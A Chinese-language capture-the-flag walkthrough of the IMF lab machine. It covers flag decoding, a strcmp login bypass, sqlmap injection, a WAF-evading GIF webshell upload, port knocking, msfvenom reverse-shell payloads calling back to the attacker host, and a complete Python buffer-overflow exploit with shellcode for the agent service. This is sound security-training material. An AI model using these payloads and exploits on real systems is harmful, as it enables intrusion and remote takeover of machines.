IMF

找靶机IP

图片.png

扫描端口

图片.png

找到第三个页面邮件右键查看源代码,发现第一个flag,经过解码内容为allthefiles

图片.png

发现一堆base64的,挨个拿上去解码一下

图片.png

解码之后拿到第二个flagflag2{aW1mYWRtaW5pc3RyYXRvcg==}解码为imfadministrator,然后放到浏览器里访问一波,发现一个登陆页面

图片.png

查看页面源代码,页面有提示,说是硬编码了密码,百度了一波硬编码的意思,就是把密码写死在原文件里..(神仙操作NB)

图片.png

有可能后台使用的是PHP的strcmp函数对比,打算用数组绕过

 strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0
图片.png

可能是用户名有问题?然后试一下用首页面上给的那几个用户名试试rmichaels,akeith,estone

图片.png

进去了,拿到第三个flagflag3{Y29udGludWVUT2Ntcw==}解码为continueTOcms,进去之后然后发现是一个半成品的站,习惯行的在url后面加上一个'试一下,发现报错了...

图片.png

然后直接扔到sqlmap跑一波,这里要注意一点的是一定要带上cookie,毕竟这是一个登录之后才会显示的页面
sqlmap -u "http://192.168.133.222/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=9kh5t2nhvrb85ju6nu850ghfi2"

图片.png

然后查表,脱裤一把唆


图片.png

发现一个在后台没显示的页面,访问一下看看,发现一个新页面,有一个图片,图片内有一个二维码

图片.png

然后用手机扫码,拿到第四个flagflag4{dXBsb2Fkcjk0Mi5waHA=}解码为uploadr942.php

图片.png

找到上传页面,经过测试有WAF,并且只允许jpg;gif;png上传,并且校验文件头,

图片.png

并且在返回包里提供了重命名之后的文件名,访问一下,发现没有目录,只能在爆破一波目录了


图片.png
图片.png

访问发现gif文件可以执行php脚本内容,修改gif内容,发现WAF有拦截,于是改成一句话变种


图片.png

看到第5个flagflag5{YWdlbnRzZXJ2aWNlcw==}解码为agentservices,看样子有一个叫agent的服务....先反弹回一个shell回来再说

s=echo "" > shell.php

使用msfvenom生成shell文件,这个地方暂时不考虑php本身的shell,php有脚本运行超时时间,shell连上一会就断了
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.133.221 lport=4444 -e php/base64 -f raw > msf.php

然后传到服务器上,访问一下,在自己本地开启msf进行监听

图片.png

使用whereis命令查找agent的位置

图片.png

使用cat /etc/services | grep agent查找运行端口

图片.png

但是扫描不到7788端口,那我们先去提示目录中去看一下


图片.png

发现有一个提示access_codes,里面的内容是SYN 7482,8279,9467


学到一个新东西port knocking
如字面意思,类似‘敲门’,只是这里敲的是‘端口’,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的

两位表哥的笔记

  • https://www.digitalocean.com/community/tutorials/how-to-use-port-knocking-to-hide-your-ssh-daemon-from-attackers-on-ubuntu
  • https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html

看样子这是让我们按照顺序去扫描对应的端口,然后就能开启新端口了???
nmap -r -p7482,8279,9467 192.168.133.222

  • -r是顺序扫描

然后重新扫描全端口,发现竟然多了一个7788端口,学到了新知识了


图片.png

用nc连接端口查看,发现是一个程序,跟我们在服务器上运行的是一样的,于是我们下载下来,跑一下看看,使用nc进行文件传输,传输完成之后校验一下md5

nc -lp 9999 > agent
nc 192.168.133.221 9999 < agent

查看一下文件的基本属性


图片.png

图片.png

本地运行,第一步看样子是需要一个id号才能进行登录,拖到本地用ida看一下,反编译看伪代码

图片.png

看到下面有一个strncmp应该是负责比较比较的,那上面那段字符串应该就是密码了

图片.png

或者使用ltrace,查看这个程序执行的过程调用的动态库调用

图片.png

然后发现几个功能,每个功能点进去看一下,发现第三个功能是有gets函数

图片.png

然后我们使用edb调试
生成测试字符串,提交到输入里面
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

图片.png

程序崩了,计算偏移量/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641

图片.png

算出偏移量为168,然后生成测试字符串,查看对应寄存器的值

图片.png

我们可以看到前面的字符串存放在EAX里后面的字符串存放在ESP里


图片.png

使用/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb,将汇编语言转换成十六进制,然后搜索call eax定位位置,然后构造生成shellcode,写出exp

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.133.221 LPORT=4444 -f python -b "\x00\x0a\x0d"

import socket,sys,time

host='192.168.133.222'
post=7788

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,post))
print s.recv(1024)
s.send('48093572\n')
print s.recv(1024)
time.sleep(0.5)
s.send('3\n')
print s.recv(1024)
time.sleep(0.5)

target='\x63\x85\x04\x08\n'
buf =  ""
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x60\xf5\x62\xe7\x5f\x31"
buf += "\xc9\xb1\x12\x31\x5f\x17\x03\x5f\x17\x83\x8f\x09\x80"
buf += "\x12\x7e\x29\xb2\x3e\xd3\x8e\x6e\xab\xd1\x99\x70\x9b"
buf += "\xb3\x54\xf2\x4f\x62\xd7\xcc\xa2\x14\x5e\x4a\xc4\x7c"
buf += "\xa1\x04\xb3\xa1\x49\x57\xbc\x48\xd6\xde\x5d\xda\x80"
buf += "\xb0\xcc\x49\xfe\x32\x66\x8c\xcd\xb5\x2a\x26\xa0\x9a"
buf += "\xb9\xde\x54\xca\x12\x7c\xcc\x9d\x8e\xd2\x5d\x17\xb1"
buf += "\x62\x6a\xea\xb2"

payload=buf+'A'*(168-len(buf))+target
s.send(payload)
s.recv(1024)
print 'send_payload_seccess'

本地nc监听

图片.png

你可能感兴趣的:(IMF)